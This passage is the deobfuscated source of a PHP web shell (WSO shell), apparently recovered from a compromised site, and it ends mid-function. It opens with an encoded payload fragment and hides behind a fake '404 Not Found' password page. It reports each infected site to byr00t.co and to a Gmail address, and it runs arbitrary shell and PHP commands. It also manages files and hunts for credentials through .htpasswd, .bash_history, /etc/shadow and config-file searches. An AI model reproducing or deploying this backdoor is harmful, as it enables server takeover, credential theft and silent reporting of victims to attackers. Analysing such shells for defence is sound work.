Hrgbf65T0khin5nCPDfiuEtVzatH8b8jRcv6jenf0tXc6+Hdyu3e+FXcY6Pv70B2ZtKv9nwn2nP/R+z5sjMs+eP5Hua8cYte28+3p+vthSVqCVpWiSVqyWilBnv//92bmTFEffa1lKt+qfP/bfn6X5knsx20tPdT7O22d3mmFCINkYBgwB4yEHCA0bM+ktcOc6Q/+kP7D+4I/Obs1a92On4V6ZahZA";
eval /* PHPDeobfuscator eval output */ {
    function GetIP()
    {
        if (getenv("HTTP_CLIENT_IP")) {
            $ip = getenv("HTTP_CLIENT_IP");
        } elseif (getenv("HTTP_X_FORWARDED_FOR")) {
            $ip = getenv("HTTP_X_FORWARDED_FOR");
            if (strstr($ip, ',')) {
                $tmp = explode(',', $ip);
                $ip = trim($tmp[0]);
            }
        } else {
            $ip = getenv("REMOTE_ADDR");
        }
        return $ip;
    }
    $x = "http://byr00t.co/l-" . GetIP() . '-' . base64_encode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = @curl_init();
        curl_setopt($ch, CURLOPT_URL, $x);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $gitt = curl_exec($ch);
        curl_close($ch);
        if ($gitt == false) {
            @($gitt = file_get_contents($x));
        }
    } elseif (function_exists('file_get_contents')) {
        @($gitt = file_get_contents($x));
    }
    $auth_pass = "a6d13df8a46cf713e5cda6a6c0d043bf";
    $color = "#00ff66";
    $default_action = 'FilesMan';
    @define('SELF_PATH', "/var/www/html/input.php");
    if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
    @session_start();
    @error_reporting(0);
    @ini_set('error_log', NULL);
    @ini_set('display_errors', 0);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    @define('VERSION', '');
    if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
    }
    function printLogin()
    {
        echo '<h1>Not Found</h1>
 <p>The requested URL was not found on this server.</p>
 <hr>
 <address>Apache Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>
 <style>input { margin:0;
background-color:#fff;
border:1px solid #fff;
 }</style>
 <center><form method=post><input type=password name=pass></form></center>';
        exit;
    }
    if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
        if (empty($auth_pass) || isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
            $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
        } else {
            printLogin();
        }
    }
    if (strtolower("PHP") == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -la", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function ex($in)
    {
        $out = '';
        if (function_exists('exec')) {
            @exec($in, $out);
            $out = @join("\n", $out);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $out = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $out = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $out = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $out = "";
            while (!@feof($f)) {
                $out .= fread($f, 1024);
            }
            pclose($f);
        }
        return $out;
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    function printHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = "UTF-8";
        }
        global $color;
        echo '<html><head><meta http-equiv="Content-Type" content="text/html;
 charset=' . $_POST['charset'] . '"><title>r00t.info wso Shell</title><link REL="SHORTCUT ICON" HREF="http://imagizer.imageshack.us/a/img440/4273/6fix.png">
 <style>
 body {background-color:#222;
color:#fff;
}
 body,td,th { font: 9pt Lucida,Verdana;
margin:0;
vertical-align:top;
 }
 span,h1,a { color:' . $color . ' !important;
 }
 span { font-weight: bolder;
 }
 h1 { padding: 2px 5px;
font: 14pt Verdana;
margin:0px 0 0 5px;
 }
 div.content { padding: 5px;
margin:0 5px;
background: #333333;
border-bottom:5px solid #444;
}
 a { text-decoration:none;
 }
 a:hover { /*background:#5e5e5e;
*/ }
 .ml1 { border:1px solid #444;
padding:5px;
margin:0;
overflow: auto;
 }
 .bigarea { width:100%;
height:250px;
margin-top:5px;
}
 input, textarea, select { margin:0;
color:#ff8c00;
background-color:#555;
border:1px solid ' . $color . ';
 font: 9pt Monospace,"Courier New";
 }
 input[type="button"]:hover,input[type="submit"]:hover {background-color:' . $color . ';
color:#000;
} 
 form { margin:0px;
 }
 #toolsTbl { text-align:center;
 }
 .toolsInp { width: 80%;
 }
 .main th {text-align:left;
background-color:#555;
font-weight: bold;
}
 .main tr:hover{background-color:#008080;
}
 .main td, th{vertical-align:middle;
}
 .menu {background: #333;
}
 .menu th{padding:5px;
font-weight:bold;
}
 .menu th:hover{background:#008080;
}
 .l1 {background-color:#444;
}
 pre {font-family:Courier,Monospace;
}
 #cot_tl_fixed{position:fixed;
bottom:0px;
font-size:12px;
left:0px;
padding:4px 0;
clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);
_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);
}
 .logo {text-align:center;
font-size:60px;
}
 .logo sup {font-size: 15px;
vertical-align: top;
margin-left: -14px;
}
 .cpr {margin-bottom:5px;
font-weight:bold;
}
 .cpb {width:34px;
margin:0 5px;
}
 .eca1 {font-size: 16px;
font-weight: bold;
letter-spacing: 10px;
margin: 0 2px 0 17px;
text-align: center;
}
 .eca2 {font-size: 13px;
font-weight: bold;
letter-spacing: 3px;
margin: 0 2px 0 7px;
text-align: center;
}
 .npoad td {padding:0;
}
 </style>
 <script>
 function set(a,c,p1,p2,p3,charset) {
 if(a != null)document.mf.a.value=a;

 if(c != null)document.mf.c.value=c;

 if(p1 != null)document.mf.p1.value=p1;

 if(p2 != null)document.mf.p2.value=p2;

 if(p3 != null)document.mf.p3.value=p3;

 if(charset != null)document.mf.charset.value=charset;

 }
 function g(a,c,p1,p2,p3,charset) {
 set(a,c,p1,p2,p3,charset);

 document.mf.submit();

 }
 function a(a,c,p1,p2,p3,charset) {
 set(a,c,p1,p2,p3,charset);

 var params = "ajax=true";

 for(i=0;
i<document.mf.elements.length;
i++)
 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);

 sr("' . $_SERVER['REQUEST_URI'] . '", params);

 }
 function sr(url, params) { 
 if (window.XMLHttpRequest) {
 req = new XMLHttpRequest();

 req.onreadystatechange = processReqChange;

 req.open("POST", url, true);

 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");

 req.send(params);

 } 
 else if (window.ActiveXObject) {
 req = new ActiveXObject("Microsoft.XMLHTTP");

 if (req) {
 req.onreadystatechange = processReqChange;

 req.open("POST", url, true);

 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");

 req.send(params);

 }
 }
 }
 function processReqChange() {
 if( (req.readyState == 4) )
 if(req.status == 200) {
 //alert(req.responseText);

 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");

 var arr=reg.exec(req.responseText);

 eval(arr[2].substr(0, arr[1]));

 } 
 else alert("Request error!");

 }
 </script>
 <head><body><div style="position:absolute;
width:100%;
top:0;
left:0;
"><div style="margin:5px;
background:#444;
"><div class="content" style="border-top:5px solid #444;
">
 <form method=post name=mf style="display:none;
">
 <input type=hidden name=a value="' . (isset($_POST['a']) ? $_POST['a'] : '') . '">
 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
 <input type=hidden name=p1 value="' . (isset($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '">
 <input type=hidden name=p2 value="' . (isset($_POST['p2']) ? htmlspecialchars($_POST['p2']) : '') . '">
 <input type=hidden name=p3 value="' . (isset($_POST['p3']) ? htmlspecialchars($_POST['p3']) : '') . '">
 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
 </form>';
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $disable_functions = @ini_get('disable_functions');
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $item) {
            $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
        }
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Delete LOG' => 'DeleteLOG', 'Safe Mode' => 'SafeMode', 'String tools' => 'StringTools', 'Cgi' => 'Cgi', 'Network' => 'Network', 'Readable Dirs' => 'Readable', 'Port Scanner' => 'PortScanner', 'Symlink' => 'Symlink', 'SQLBUDDY' => 'SQLBUDDY', 'Bypass' => 'Bypass', 'Python' => 'Python');
        if (!empty($GLOBALS['auth_pass'])) {
            $m['SelfKill'] = 'SelfRemove';
        }
        $m['Logout'] = 'Logout';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th><a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a></th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('a', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
            $drives .= '<br />: ';
        }
        if ($GLOBALS['os'] == 'nix') {
            $dominios = @file_get_contents("/etc/named.conf");
            if (!$dominios) {
                $d0c = "CANT READ named.conf";
            } else {
                @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
                $out = sizeof(array_unique($out[1]));
                $d0c = $out . " Domains";
            }
        } else {
            $d0c = " --- ";
        }
        if ($GLOBALS['os'] == 'nix') {
            $usefl = '';
            $dwnldr = '';
            if (!@ini_get('safe_mode')) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                foreach ($userful as $item) {
                    if (which($item)) {
                        $usefl .= $item . ',';
                    }
                }
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                foreach ($downloaders as $item2) {
                    if (which($item2)) {
                        $dwnldr .= $item2 . ',';
                    }
                }
            } else {
                $usefl = ' ------- ';
                $dwnldr = ' ------- ';
            }
        } else {
            $usefl = ' ------- ';
            $dwnldr = ' ------- ';
        }
        echo '<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo"><img src="http://i.hizliresim.com/z4lrbR.png" id="logo" height="75%" width="90%"/></div><hr style="margin: -5px 13px 2px 17px;
width:160px;
"><div class="eca1"></div><div class="eca2">Hackers</div></td>
 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;
"><span>Uname</span></td><td>: <nobr>' . substr(@php_uname(), 0, 120) . '</nobr></td></tr>
 <tr><td><span>User</span></td><td>: ' . $uid . ' ( ' . $user . ' ) <span>Group: </span> ' . $gid . ' ( ' . $group . ' )</td></tr><tr><td><span>Server</span></td><td>: ' . @getenv('SERVER_SOFTWARE') . '</td></tr><tr><td><span>Useful</span></td><td>: ' . $usefl . '</td></tr><tr><td><span>Downloaders</span></td><td>: ' . $dwnldr . '</td></tr><tr><td><span>Disabled functions</span></td><td>: ' . ($disable_functions ? $disable_functions : 'All Function Enable') . '</td></tr><tr><td><span>' . ($GLOBALS['os'] == 'win' ? 'Drives<br />Cwd' : 'Cwd') . '</span></td><td>: ' . $drives . '' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>' . '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>' . '<td><nobr>: ' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br>: ' . $_SERVER['REMOTE_ADDR'] . '<br />: ' . viewSize($totalSpace) . '<br />: ' . viewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>: ' . @phpversion() . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=' . $color . '<b>OFF</b></font>') . '<br />: ' . $d0c . '</nobr></td></tr></table>' . '</div></div><div style="margin:5;
background:#444;
"><div class="content" style="border-top:5px solid #444;
padding:2px;
"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>' . $menu . '</tr></table></div></div><div style="margin:5;
background:#444;
">';
    }
    function printFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=#00cd00>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
        echo '</div><div style="margin:5px;
background:#444;
"><div class="content" style="border-top:5px solid #444;
">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
 <tr>
 <td><form onsubmit="g(null,this.c.value);
return false;
"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '"><input type=submit value=">>"></form></td>
 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);
return false;
"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
 </tr>
 <tr>
 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);
return false;
"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>' . $is_writable . '</td>
 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');
return false;
"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>' . $is_writable . '</td>
 </tr>
 <tr>
 <td><form onsubmit="g(\'Console\',null,this.c.value);
return false;
"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
 <td><form method="post" ENCTYPE="multipart/form-data">
 <input type=hidden name=a value="FilesMAn">
 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
 <input type=hidden name=p1 value="uploadFile">
 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>' . $is_writable . '</td>
 </tr>
</table></div></div>
<div style="margin:5px;
background:#444;
"><div class="content" style="border-top:5px solid #444;
text-align:center;
font-weight:bold;
">Wso shell' . VERSION . ' &copy;
 Shell</div></div>
</div>
</body></html>';
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    if (!isset($_SESSION['trimite'])) {
        $url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . '<br />User IP: ' . $_SERVER['REMOTE_ADDR'] . (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? '(' . $_SERVER['HTTP_X_FORWARDED_FOR'] . ')' : '');
        @mail("byhero44@gmail.com", "Smurfie", $url);
        $_SESSION['trimite'] = true;
    }
    function viewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function perms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        } else {
            return '<font color=#00cd00><b>' . perms(@fileperms($f)) . '</b></font>';
        }
    }
    if (!function_exists("scandir")) {
        function scandir($dir)
        {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function actionSecInfo()
    {
        printHeader();
        echo "<h1>Server security information</h1><div class=content>";
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        showSecParam('Supported databases', implode(', ', $temp));
        echo "<br>";
        if ($GLOBALS['os'] == 'nix') {
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                echo "<br>";
                $temp = array();
                foreach ($userful as $item) {
                    if (which($item)) {
                        $temp[] = $item;
                    }
                }
                showSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $item) {
                    if (which($item)) {
                        $temp[] = $item;
                    }
                }
                showSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $item) {
                    if (which($item)) {
                        $temp[] = $item;
                    }
                }
                showSecParam('Downloaders', implode(', ', $temp));
                echo "<br/>";
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', ex('net accounts'));
            showSecParam('User Accounts', ex('net user'));
        }
        echo "</div>";
        printFooter();
    }
    function actionPhp()
    {
        if (isset($_POST['ajax'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            eval($_POST['p1']);
            $temp = "document.getElementById('PhpOutput').style.display='';\r\ndocument.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\r\n\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        printHeader();
        if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
            echo "<h1>PHP info</h1><div class=content>";
            ob_start();
            phpinfo();
            $tmp = ob_get_clean();
            $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
            $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
            $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
            echo $tmp;
            echo "</div><br>";
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        }
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);
}else{g(null,null,this.code.value,\'\');
}return false;
"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;
' : '') . 'margin-top:5px;
" class=ml1>';
        if (!empty($_POST['p1'])) {
            ob_start();
            eval($_POST['p1']);
            echo htmlspecialchars(ob_get_clean());
        }
        echo "</pre></div>";
        printFooter();
    }
    function actionFilesMan()
    {
        printHeader();
        echo "<h1>File manager</h1><div class=content>";
        if (isset($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                        echo "Can't upload file!";
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, -1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($item = readdir($dh)) !== false) {
                            $item = $path . $item;
                            if (basename($item) == ".." || basename($item) == ".") {
                                continue;
                            }
                            $type = filetype($item);
                            if ($type == "dir") {
                                deleteDir($item);
                            } else {
                                @unlink($item);
                            }
                        }
                        closedir($dh);
                        rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_SESSION['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = opendir($c . $s);
                                while (($f = readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_SESSION['f'] as $f) {
                            copy_paste($_SESSION['cwd'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_SESSION['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = opendir($c . $s);
                                while (($f = readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_SESSION['f'] as $f) {
                            @rename($_SESSION['cwd'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    }
                    unset($_SESSION['f']);
                    break;
                default:
                    if (!empty($_POST['p1']) && ($_POST['p1'] == 'copy' || $_POST['p1'] == 'move')) {
                        $_SESSION['act'] = @$_POST['p1'];
                        $_SESSION['f'] = @$_POST['f'];
                        foreach ($_SESSION['f'] as $k => $f) {
                            $_SESSION['f'][$k] = urldecode($f);
                        }
                        $_SESSION['cwd'] = @$_POST['c'];
                    }
                    break;
            }
            echo "<script>document.mf.p1.value=\"\";\r\ndocument.mf.p2.value=\"\";\r\n</script>";
        }
        $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo "Can't open this folder!";
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
